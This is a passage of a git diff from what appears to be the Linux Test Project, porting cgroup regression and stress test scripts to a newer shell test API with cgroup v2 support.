+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+	nobody_uid = pw->pw_uid;
+	save_uid = geteuid();
+}
+
+static void cleanup(void)
+{
+	if (cg_child_a) {
+		SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid());
+		cg_child_a = tst_cg_group_rm(cg_child_a);
+	}
+	if (cg_child_b) {
+		SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid());
+		cg_child_b = tst_cg_group_rm(cg_child_b);
+	}
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = test_lesser_euid_open,
+	.forks_child = 1,
+	.needs_root = 1,
+	.needs_cgroup_ctrls = (const char *const[]){"memory",  NULL},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "e57457641613"},
+		{}
+	},
+};
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
index 1f7f382..bfa9097 100755
--- a/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2009 FUJITSU LIMITED
 # Author: Li Zefan <lizf@cn.fujitsu.com>
 
@@ -12,8 +12,6 @@
 TST_NEEDS_TMPDIR=1
 TST_NEEDS_CMDS="awk dmesg find mountpoint rmdir"
 
-. cgroup_lib.sh
-
 do_setup()
 {
 	mkdir cgroup/
@@ -145,7 +143,7 @@
 	fi
 
 	rmdir cgroup/0 cgroup/1
-	umount cgroup/
+	tst_umount $PWD/cgroup
 }
 
 #---------------------------------------------------------------------------
@@ -170,17 +168,8 @@
 		return
 	fi
 
-	cpu_subsys_path=$(get_cgroup_mountpoint "cpu")
-
-	# Run the test for 30 secs
-	if [ -z "$cpu_subsys_path" ]; then
-		mount -t cgroup -o cpu xxx cgroup/
-		if [ $? -ne 0 ]; then
-			tst_res TFAIL "Failed to mount cpu subsys"
-			return
-		fi
-		cpu_subsys_path=cgroup
-	fi
+	cgroup_require "cpu"
+	cpu_subsys_path=$(cgroup_get_mountpoint "cpu")
 
 	cgroup_regression_3_1.sh $cpu_subsys_path &
 	pid1=$!
@@ -193,7 +182,7 @@
 	wait $pid2 2>/dev/null
 
 	rmdir $cpu_subsys_path/0 2> /dev/null
-	umount cgroup/ 2> /dev/null
+	cgroup_cleanup
 	check_kernel_bug
 }
 
@@ -222,7 +211,7 @@
 	mount -t cgroup -o none,name=foo cgroup cgroup/
 	mkdir cgroup/0
 	rmdir cgroup/0
-	umount cgroup/
+	tst_umount $PWD/cgroup
 
 	if dmesg | grep -q "MAX_LOCKDEP_SUBCLASSES too low"; then
 		tst_res TFAIL "lockdep BUG was found"
@@ -254,7 +243,7 @@
 	mount -t cgroup none cgroup 2> /dev/null
 	mkdir cgroup/0
 	rmdir cgroup/0
-	umount cgroup/ 2> /dev/null
+	tst_umount $PWD/cgroup
 	check_kernel_bug
 }
 
@@ -290,7 +279,7 @@
 
 	mount -t cgroup -o ns xxx cgroup/ > /dev/null 2>&1
 	rmdir cgroup/[1-9]* > /dev/null 2>&1
-	umount cgroup/
+	tst_umount $PWD/cgroup
 	check_kernel_bug
 }
 
@@ -305,21 +294,15 @@
 test_7_1()
 {
 	local subsys=$1
+	local subsys_path
 	# we should be careful to select a $subsys_path which is related to
 	# cgroup only: if cgroup debugging is enabled a 'debug' $subsys
 	# could be passed here as params and this will lead to ambiguity and
 	# errors when grepping simply for 'debug' in /proc/mounts since we'll
 	# find also /sys/kernel/debug. Helper takes care of this.
-	local subsys_path=$(get_cgroup_mountpoint $subsys)
 
-	if [ -z "$subsys_path" ]; then
-		mount -t cgroup -o $subsys xxx cgroup/
-		if [ $? -ne 0 ]; then
-			tst_res TFAIL "failed to mount $subsys"
-			return
-		fi
-		subsys_path=cgroup
-	fi
+	cgroup_require "$subsys"
+	subsys_path=$(cgroup_get_mountpoint "$subsys")
 
 	mkdir $subsys_path/0
 	sleep 100 < $subsys_path/0 &	# add refcnt to this dir
@@ -334,6 +317,8 @@
 		wait $! 2>/dev/null
 		umount cgroup/
 	fi
+
+	cgroup_cleanup
 }
 
 test_7_2()
@@ -439,4 +424,5 @@
 	check_kernel_bug
 }
 
+. cgroup_lib.sh
 tst_run
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
index 5594fe9..6d55865 100755
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_common.sh
@@ -1,43 +1,17 @@
 #!/bin/sh
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##  Author: Shi Weihua <shiwh@cn.fujitsu.com>                                 ##
-## Copyright (c) 2015 Cedric Hnyda <chnyda@suse.com>                          ##
-## Copyright (c) 2015-2016 Cyril Hrubis <chrubis@suse.cz>                     ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software Foundation,   ##
-## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
-##                                                                            ##
-################################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Copyright (c) 2015 Cedric Hnyda <chnyda@suse.com>
+# Copyright (c) 2015-2016 Cyril Hrubis <chrubis@suse.cz>
+# Author: Shi Weihua <shiwh@cn.fujitsu.com>
 
 for arg; do
     TCID="${TCID}_$arg"
 done
 
-. test.sh
-
-exist_subsystem()
-{
-    local subsystem="$1"
-    local exist=`grep -w $subsystem /proc/cgroups | cut -f1`
-
-    if [ -z "$exist" ]; then
-        tst_brkm TCONF "Subsystem $subsystem not supported"
-    fi
-}
+TST_NEEDS_CMDS="rmdir killall"
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
 
 attach_and_check()
 {
@@ -46,13 +20,13 @@
     local task
     shift
 
-    tst_resm TINFO "Attaching task $pid to $path"
+    tst_res TINFO "Attaching task $pid to $path"
 
-    ROD echo "$pid" \> "$path/tasks"
+    ROD echo "$pid" \> "$path/$task_list"
 
-    for task in $(cat "$path/tasks"); do
+    for task in $(cat "$path/$task_list"); do
         if [ "$task" -ne "$pid" ]; then
-            tst_resm TINFO "Unexpected pid $task in $path/tasks, expected $pid"
+            tst_res TINFO "Unexpected pid $task in $path/$task_list, expected $pid"
             return 1
         fi
     done
@@ -64,11 +38,13 @@
 {
     path="$1"
 
-    ROD mkdir "$path"
+    [ ! -d "$path" ] && ROD mkdir "$path"
 
     # cpuset.cpus and cpuset.mems must be initialized with suitable value
-    # before any pids are attached
-    if [ "$subsystem" = "cpuset" ]; then
+    # before any pids are attached.
+    # Only needs to be done for cgroup v1 as sets are inherited from parents
+    # by default in cgroup v2.
+    if [ "$cgroup_version" = "1" ] && [ "$subsystem" = "cpuset" ]; then
         if [ -e "$mount_point/cpus" ]; then
             ROD cat "$mount_point/cpus" \> "$path/cpus"
             ROD cat "$mount_point/mems" \> "$path/mems"
@@ -79,54 +55,27 @@
     fi
 }
 
-
-setup()
+common_setup()
 {
-    tst_require_root
-    tst_require_cmds killall
+    cgroup_require "$subsystem"
+    mount_point=$(cgroup_get_mountpoint "$subsystem")
+    start_path=$(cgroup_get_test_path "$subsystem")
+    cgroup_version=$(cgroup_get_version "$subsystem")
+    task_list=$(cgroup_get_task_list "$subsystem")
 
-    if [ ! -f /proc/cgroups ]; then
-        tst_brkm TCONF "Kernel does not support for control groups"
-    fi
-
-    exist_subsystem "$subsystem"
-
-    tst_tmpdir
-    TST_CLEANUP=cleanup
-
-    mount_point=`grep -w $subsystem /proc/mounts | grep -w "cgroup" | \
-	cut -f 2 | cut -d " " -f2`
-
-    if [ -z "$mount_point" ]; then
-        try_umount=1
-        mount_point="/dev/cgroup"
-	tst_resm TINFO "Subsystem $subsystem is not mounted, mounting it at $mount_point"
-        ROD mkdir $mount_point
-        ROD mount -t cgroup -o "$subsystem" "ltp_cgroup" "$mount_point"
-    else
-	tst_resm TINFO "Subsystem $subsystem is mounted at $mount_point"
-    fi
+    [ "$cgroup_version" = "2" ] && ROD echo "+$subsystem" \> "$start_path/cgroup.subtree_control"
+    tst_res TINFO "test starts with cgroup version $cgroup_version"
 }
 
-cleanup()
+common_cleanup()
 {
-    tst_rmdir
-
     killall -9 cgroup_fj_proc >/dev/null 2>&1
 
-    tst_resm TINFO "Removing all ltp subgroups..."
+    tst_res TINFO "Removing all ltp subgroups..."
 
-    find "$mount_point/ltp/" -depth -type d -exec rmdir '{}' \;
+    [ -d "$start_path" ] && find "$start_path" -depth -type d -exec rmdir '{}' \;
 
-    if [ -z "$try_umount" ]; then
-	return
-    fi
-
-    if grep -q "$mount_point" /proc/mounts; then
-        umount "$mount_point"
-    fi
-
-    if [ -e "$mount_point" ]; then
-        rmdir "$mount_point"
-    fi
+    cgroup_cleanup
 }
+
+. cgroup_lib.sh
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
index 8c282f2..b0c9410 100755
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
@@ -1,32 +1,16 @@
 #!/bin/sh
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##  Author: Shi Weihua <shiwh@cn.fujitsu.com>                                 ##
-## Copyright (c) 2015 Cedric Hnyda <chnyda@suse.com>                          ##
-## Copyright (c) 2015-2016 Cyril Hrubis <chrubis@suse.cz>                     ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software Foundation,   ##
-## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
-##                                                                            ##
-################################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Copyright (c) 2015 Cedric Hnyda <chnyda@suse.com>
+# Copyright (c) 2015-2016 Cyril Hrubis <chrubis@suse.cz>
+# Author: Shi Weihua <shiwh@cn.fujitsu.com>
 
 TCID="cgroup_fj_function2"
-TST_TOTAL=7
-
-. cgroup_fj_common.sh
+TST_TESTFUNC=test
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_CNT=9
+TST_POS_ARGS=1
 
 subsystem=$1
 
@@ -36,7 +20,7 @@
     echo "  ./cgroup_fj_function2.sh subsystem"
     echo "example: ./cgroup_fj_function2.sh cpuset"
 
-    tst_brkm TBROK "$1"
+    tst_brk TBROK "$1"
 }
 
 if [ "$#" -ne "1" ]; then
@@ -46,49 +30,67 @@
 # Move a task from group to group
 test1()
 {
+    # mv'ing cgroups is not available in cgroup2
+    if [ "$cgroup_version" = "2" ]; then
+        tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test"
+        return
+    fi
+
     if ! attach_and_check "$pid" "$start_path/ltp_1"; then
-         tst_resm TFAIL "Failed to attach task"
+         tst_res TFAIL "Failed to attach task"
          return
     fi
 
     if ! attach_and_check "$pid" "$start_path"; then
-         tst_resm TFAIL "Failed to attach task"
+         tst_res TFAIL "Failed to attach task"
          return
     fi
 
-    tst_resm TPASS "Task attached succesfully"
+    tst_res TPASS "Task attached successfully"
 }
 
 # Group can be renamed with mv
 test2()
 {
+    # mv'ing cgroups is not available in cgroup2
+    if [ "$cgroup_version" = "2" ]; then
+        tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test"
+        return
+    fi
+
     create_subgroup "$start_path/ltp_2"
 
     if ! mv "$start_path/ltp_2" "$start_path/ltp_3"; then
-        tst_resm TFAIL "Failed to move $start_path/ltp_2 to $start_path/ltp_3"
+        tst_res TFAIL "Failed to move $start_path/ltp_2 to $start_path/ltp_3"
         rmdir "$start_path/ltp_2"
         return
     fi
 
     if ! rmdir "$start_path/ltp_3"; then
-        tst_resm TFAIL "Failed to remove $start_path/ltp_3"
+        tst_res TFAIL "Failed to remove $start_path/ltp_3"
         return
     fi
 
-    tst_resm TPASS "Successfully moved $start_path/ltp_2 to $start_path/ltp_3"
+    tst_res TPASS "Successfully moved $start_path/ltp_2 to $start_path/ltp_3"
 }
 
 # Group can be renamed with mv unless the target name exists
 test3()
 {
-    create_subgroup "$start_path/ltp_2"
-
-    if mv "$start_path/ltp_2" "$start_path/ltp_1" > /dev/null 2>&1; then
-        tst_resm TFAIL "Moved $start_path/ltp_2 over existing $start_path/ltp_1"
+    # mv'ing cgroups is not available in cgroup2
+    if [ "$cgroup_version" = "2" ]; then
+        tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test"
         return
     fi
 
-    tst_resm TPASS "Failed to move $start_path/ltp_2 over existing $start_path/ltp_1"
+    create_subgroup "$start_path/ltp_2"
+
+    if mv "$start_path/ltp_2" "$start_path/ltp_1" > /dev/null 2>&1; then
+        tst_res TFAIL "Moved $start_path/ltp_2 over existing $start_path/ltp_1"
+        return
+    fi
+
+    tst_res TPASS "Failed to move $start_path/ltp_2 over existing $start_path/ltp_1"
 
     ROD rmdir "$start_path/ltp_2"
 }
@@ -97,78 +99,104 @@
 test4()
 {
     if ! attach_and_check "$pid" "$start_path/ltp_1"; then
-        tst_resm TFAIL "Failed to attach $pid to $start_path/ltp_1"
+        tst_res TFAIL "Failed to attach $pid to $start_path/ltp_1"
         return
     fi
 
     if rmdir "$start_path/ltp_1" > /dev/null 2>&1; then
-        tst_resm TFAIL "Removed $start_path/ltp_1 which contains task $pid"
-        create_subgroup "$start_path/ltp_1"
+        tst_res TFAIL "Removed $start_path/ltp_1 which contains task $pid"
         return
     fi
 
-    tst_resm TPASS "Group $start_path/ltp_1 with task $pid cannot be removed"
+    tst_res TPASS "Group $start_path/ltp_1 with task $pid cannot be removed"
 }
 
 # Group with a subgroup cannot be removed
 test5()
 {
+    # We need to move the tasks back to root to create a subgroup
+    if [ "$cgroup_version" = "2" ]; then
+        for pid in $(cat "$start_path/ltp_1/$task_list"); do
+		    echo $pid > "$mount_point/$task_list" 2> /dev/null
+	    done
+
+        ROD echo "+$subsystem" \> "$start_path/ltp_1/cgroup.subtree_control"
+    fi
+
     create_subgroup "$start_path/ltp_1/a"
 
     if rmdir "$start_path/ltp_1" > /dev/null 2>&1; then
-        tst_resm TFAIL "Removed $start_path/ltp_1 which contains subdir 'a'"
+        tst_res TFAIL "Removed $start_path/ltp_1 which contains subdir 'a'"
         return
     fi
 
-    tst_resm TPASS "Dir $start_path/ltp_1 with subdir 'a' cannot be removed"
+    tst_res TPASS "Dir $start_path/ltp_1 with subdir 'a' cannot be removed"
 
     ROD rmdir "$start_path/ltp_1/a"
 
-    ROD echo "$pid" \> "$start_path/tasks"
+    [ "$cgroup_version" = "2" ] && ROD echo "-$subsystem" \> "$start_path/ltp_1/cgroup.subtree_control"
+    ROD echo "$pid" \> "$start_path/ltp_1/$task_list"
 }
 
 # Group cannot be moved outside of hierarchy
 test6()
 {
-    if mv "$start_path/ltp_1" "$PWD/ltp" > /dev/null 2>&1; then
-        tst_resm TFAIL "Subgroup $start_path/ltp_1 outside hierarchy to $PWD/ltp"
+    # mv'ing cgroups is not available in cgroup2
+    if [ "$cgroup_version" = "2" ]; then
+        tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test"
         return
     fi
 
-    tst_resm TPASS "Subgroup $start_path/ltp_1 cannot be moved to $PWD/ltp"
+    if mv "$start_path/ltp_1" "$PWD/ltp" > /dev/null 2>&1; then
+        tst_res TFAIL "Subgroup $start_path/ltp_1 outside hierarchy to $PWD/ltp"
+        return
+    fi
+
+    tst_res TPASS "Subgroup $start_path/ltp_1 cannot be moved to $PWD/ltp"
 }
 
 # Tasks file cannot be removed
 test7()
 {
-    if rm "$start_path/ltp_1/tasks" > /dev/null 2>&1; then
-        tst_resm TFAIL "Tasks file $start_path/ltp_1/tasks could be removed"
+    if rm "$start_path/ltp_1/$task_list" > /dev/null 2>&1; then
+        tst_res TFAIL "Tasks file $start_path/ltp_1/$task_list could be removed"
         return
     fi
 
-    tst_resm TPASS "Tasks file $start_path/ltp_1/tasks cannot be removed"
+    tst_res TPASS "Tasks file $start_path/ltp_1/tasks cannot be removed"
 }
 
 # Test notify_on_release with invalid inputs
 test8()
 {
+    # notify_on_release is not available in cgroup2 so skip the test
+    if [ "$cgroup_version" = "2" ]; then
+        tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test"
+        return
+    fi
+
     if echo "-1" > "$start_path/ltp_1/notify_on_release" 2>/dev/null; then
-        tst_resm TFAIL "Can write -1 to $start_path/ltp_1/notify_on_release"
+        tst_res TFAIL "Can write -1 to $start_path/ltp_1/notify_on_release"
         return
     fi
 
     if echo "ltp" > "$start_path/ltp_1/notify_on_release" 2>/dev/null; then
-        tst_resm TFAIL "Can write ltp to $start_path/ltp_1/notify_on_release"
+        tst_res TFAIL "Can write ltp to $start_path/ltp_1/notify_on_release"
         return
     fi
 
-    tst_resm TPASS "Cannot write invalid values to $start_path/ltp_1/notify_on_release"
+    tst_res TPASS "Cannot write invalid values to $start_path/ltp_1/notify_on_release"
 }
 
 # Test that notify_on_release can be changed
 test9()
 {
-    create_subgroup "$start_path/ltp_1"
+    # notify_on_release is not available in cgroup2 so skip the test
+    if [ "$cgroup_version" = "2" ]; then
+        tst_res TCONF "Controller mounted on cgroup2 hierarchy, skipping test"
+        return
+    fi
+
     local notify=$(ROD cat "$start_path/ltp_1/notify_on_release")
     local value
 
@@ -179,37 +207,33 @@
     fi
 
     if ! echo "$value" > "$start_path/ltp_1/notify_on_release"; then
-        tst_resm TFAIL "Failed to set $start_path/ltp_1/notify_on_release to $value"
+        tst_res TFAIL "Failed to set $start_path/ltp_1/notify_on_release to $value"
         return
     fi
 
     ROD echo "$notify" \> "$start_path/ltp_1/notify_on_release"
 
-    tst_resm TPASS "Set $start_path/ltp_1/notify_on_release to $value"
+    tst_res TPASS "Set $start_path/ltp_1/notify_on_release to $value"
 }
 
-setup
+setup()
+{
+    common_setup
+    cgroup_fj_proc&
+    pid=$!
+    create_subgroup "$start_path/ltp_1"
+}
 
-cgroup_fj_proc&
-pid=$!
+cleanup()
+{
+    if [ -n "$pid" ]; then
+        kill -9 $pid >/dev/null 2>&1
+        wait $pid >/dev/null 2>&1
+    fi
 
-start_path="$mount_point/ltp"
+    rmdir "$start_path/ltp_1" >/dev/null 2>&1
+    common_cleanup
+}
 
-create_subgroup "$start_path"
-create_subgroup "$start_path/ltp_1"
-
-test1
-test2
-test3
-test4
-test5
-test6
-test7
-test8
-test9
-
-ROD kill -9 $pid
-wait $pid
-ROD rmdir "$start_path/ltp_1"
-
-tst_exit
+. cgroup_fj_common.sh
+tst_run
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c
index 93bc8b7..e3c1153 100644
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_proc.c
@@ -1,24 +1,6 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) 2009 FUJITSU LIMITED                                         */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/* Author: Shi Weihua <shiwh@cn.fujitsu.com>                                  */
-/*                                                                            */
-/******************************************************************************/
+// SPDX-License-Identifier: GPL-2.0-or-later
+// Copyright (c) 2009 FUJITSU LIMITED
+// Author: Shi Weihua <shiwh@cn.fujitsu.com>
 
 #include <sys/types.h>
 #include <sys/wait.h>
diff --git a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh
index 292df6f..d80b83b 100755
--- a/testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh
+++ b/testcases/kernel/controllers/cgroup_fj/cgroup_fj_stress.sh
@@ -1,32 +1,16 @@
 #!/bin/sh
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##  Author: Shi Weihua <shiwh@cn.fujitsu.com>                                 ##
-## Copyright (c) 2015 Cedric Hnyda <chnyda@suse.com>                          ##
-## Copyright (c) 2015-2016 Cyril Hrubis <chrubis@suse.cz>                     ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software Foundation,   ##
-## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
-##                                                                            ##
-################################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Copyright (c) 2015 Cedric Hnyda <chnyda@suse.com>
+# Copyright (c) 2015-2016 Cyril Hrubis <chrubis@suse.cz>
+# Author: Shi Weihua <shiwh@cn.fujitsu.com>
 
 TCID="cgroup_fj_stress"
-TST_TOTAL=1
-
-. cgroup_fj_common.sh
+TST_CNT=1
+TST_TESTFUNC=test
+TST_SETUP=setup
+TST_CLEANUP=cleanup
+TST_POS_ARGS=4
 
 subsystem="$1"
 subgroup_num="$2"
@@ -47,35 +31,9 @@
     echo "      each - attach process to each subgroup"
     echo "example: ./cgroup_fj_stress.sh cpuset 1 1 one"
     echo
-    tst_brkm TBROK "$1"
+    tst_brk TBROK "$1"
 }
 
-if [ "$#" -ne "4" ]; then
-    usage_and_exit "Wrong number of parameters, expected 4"
-fi
-
-case $subgroup_num in
-    ''|*[!0-9]*) usage_and_exit "Number of subgroups must be possitive integer";;
-    *) ;;
-esac
-
-case $subgroup_depth in
-    ''|*[!0-9]*) usage_and_exit "Depth of the subgroup tree must be possitive integer";;
-    *) ;;
-esac
-
-case $attach_operation in
-    'none'|'one'|'each');;
-    *) usage_and_exit "Invalid attach operation: $attach_operation";;
-esac
-
-setup
-
-export TMPFILE=./tmp_tasks.$$
-
-count=0
-collected_pids=
-
 build_subgroups()
 {
     local cur_path="$1"
@@ -87,6 +45,12 @@
     fi
 
     create_subgroup "$cur_path"
+
+    # We can only attach processes to the leaves of the tree in cgroup v2 which
+    # means we need to enable the controllers everywhere inbetween.
+    if [ "$cgroup_version" = "2" ] && [ "$cur_depth" -ne "$subgroup_depth" ]; then
+        ROD echo "+$subsystem" \> "$cur_path/cgroup.subtree_control"
+    fi
     count=$((count+1))
 
     for i in $(seq 1 $subgroup_num); do
@@ -113,8 +77,10 @@
         pid="$ppid"
     fi
 
-    if ! attach_and_check "$pid" "$cur_path"; then
+    if [ "$cgroup_version" = "2" ] && [ $cur_depth -eq $subgroup_depth ] || [ "$cgroup_version" = "1" ]; then
+        if ! attach_and_check "$pid" "$cur_path"; then
             fail=1
+        fi
     fi
 
     for i in $(seq 1 $subgroup_num); do
@@ -123,46 +89,79 @@
     done
 
     if [ -n "$ppid" ]; then
-        if ! attach_and_check "$pid" "$cur_path"; then
-            fail=1
+        if [ "$cgroup_version" = "2" ] && [ $cur_depth -eq $subgroup_depth ] || [ "$cgroup_version" = "1" ]; then
+            if ! attach_and_check "$pid" "$cur_path"; then
+                fail=1
+            fi
         fi
     fi
 }
 
-start_path="$mount_point/ltp"
+setup()
+{
+    export TMPFILE=./tmp_tasks.$$
+    count=0
+    collected_pids=
 
-tst_resm TINFO "Creating subgroups ..."
+    case $subgroup_num in
+        ''|*[!0-9]*) usage_and_exit "Number of subgroups must be possitive integer";;
+        *) ;;
+    esac
 
-build_subgroups "$start_path" 0
+    case $subgroup_depth in
+        ''|*[!0-9]*) usage_and_exit "Depth of the subgroup tree must be possitive integer";;
+        *) ;;
+    esac
 
-tst_resm TINFO "... mkdired $count times"
+    case $attach_operation in
+        'none'|'one'|'each');;
+        *) usage_and_exit "Invalid attach operation: $attach_operation";;
+    esac
 
-case $attach_operation in
-"one" )
-    cgroup_fj_proc &
-    pid=$!
+    common_setup
+}
 
-    tst_resm TINFO "Moving one task around"
-    attach_task "$start_path" 0 "$pid"
-    ROD kill -9 "$pid"
-    wait "$pid"
-    ;;
-"each" )
-    tst_resm TINFO "Attaching task to each subgroup"
-    attach_task "$start_path" 0
-    for pid in $collected_pids; do
+cleanup()
+{
+    common_cleanup
+}
+
+test()
+{
+    tst_res TINFO "Creating subgroups ..."
+
+    build_subgroups "$start_path" 0
+
+    tst_res TINFO "... mkdired $count times"
+
+    case $attach_operation in
+    "one" )
+        cgroup_fj_proc &
+        pid=$!
+
+        tst_res TINFO "Moving one task around"
+        attach_task "$start_path" 0 "$pid"
         ROD kill -9 "$pid"
         wait "$pid"
-    done
-    ;;
-*  )
-    ;;
-esac
+        ;;
+    "each" )
+        tst_res TINFO "Attaching task to each subgroup"
+        attach_task "$start_path" 0
+        for pid in $collected_pids; do
+            ROD kill -9 "$pid"
+            wait "$pid"
+        done
+        ;;
+    *  )
+        ;;
+    esac
 
-if [ -n "$fail" ]; then
-    tst_resm TFAIL "Attaching tasks failed!"
-else
-    tst_resm TPASS "All done!"
-fi
+    if [ -n "$fail" ]; then
+        tst_res TFAIL "Attaching tasks failed!"
+    else
+        tst_res TPASS "All done!"
+    fi
+}
 
-tst_exit
+. cgroup_fj_common.sh
+tst_run
diff --git a/testcases/kernel/controllers/cgroup_lib.sh b/testcases/kernel/controllers/cgroup_lib.sh
index 7918b56..9e59221 100644
--- a/testcases/kernel/controllers/cgroup_lib.sh
+++ b/testcases/kernel/controllers/cgroup_lib.sh
@@ -1,39 +1,136 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2019-2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2018-2019 ARM Ltd. All Rights Reserved.
+# Copyright (c) 2022 Canonical Ltd.
 
-. tst_test.sh
+_cgroup_state=
 
-# Find mountpoint to given subsystem
-# get_cgroup_mountpoint SUBSYSTEM
-# RETURN: 0 if mountpoint found, otherwise 1
-get_cgroup_mountpoint()
+# Find mountpoint of the given controller
+# USAGE: cgroup_get_mountpoint CONTROLLER
+# RETURNS: Prints the mountpoint of the given controller
+# Must call cgroup_require before calling
+cgroup_get_mountpoint()
 {
-	local subsystem=$1
-	local mntpoint
+	local ctrl="$1"
+	local mountpoint
 
-	[ $# -eq 0 ] && tst_brk TBROK "get_cgroup_mountpoint: subsystem not defined"
+	[ "$ctrl" ] || tst_brk TBROK "cgroup_get_mountpoint: controller not defined"
+	[ "$_cgroup_state" ] || tst_brk TBROK "cgroup_get_mountpoint: No previous state found. Forgot to call cgroup_require?"
 
-	mntpoint=$(grep cgroup /proc/mounts | grep -w $subsystem | awk '{ print $2 }')
-	[ -z "$mntpoint" ] && return 1
+	mountpoint=$(echo "$_cgroup_state" | grep -w "^$ctrl" | awk '{ print $4 }')
+	echo "$mountpoint"
 
-	echo $mntpoint
 	return 0
 }
 
-# Check if given subsystem is supported and enabled
-# is_cgroup_subsystem_available_and_enabled SUBSYSTEM
-# RETURN: 0 if subsystem supported and enabled, otherwise 1
-is_cgroup_subsystem_available_and_enabled()
+# Get the test path of a given controller that has been created by the cgroup C API
+# USAGE: cgroup_get_test_path CONTROLLER
+# RETURNS: Prints the path to the test direcory
+# Must call cgroup_require before calling
+cgroup_get_test_path()
 {
-	local val
-	local subsystem=$1
+	local ctrl="$1"
+	local mountpoint
+	local test_path
 
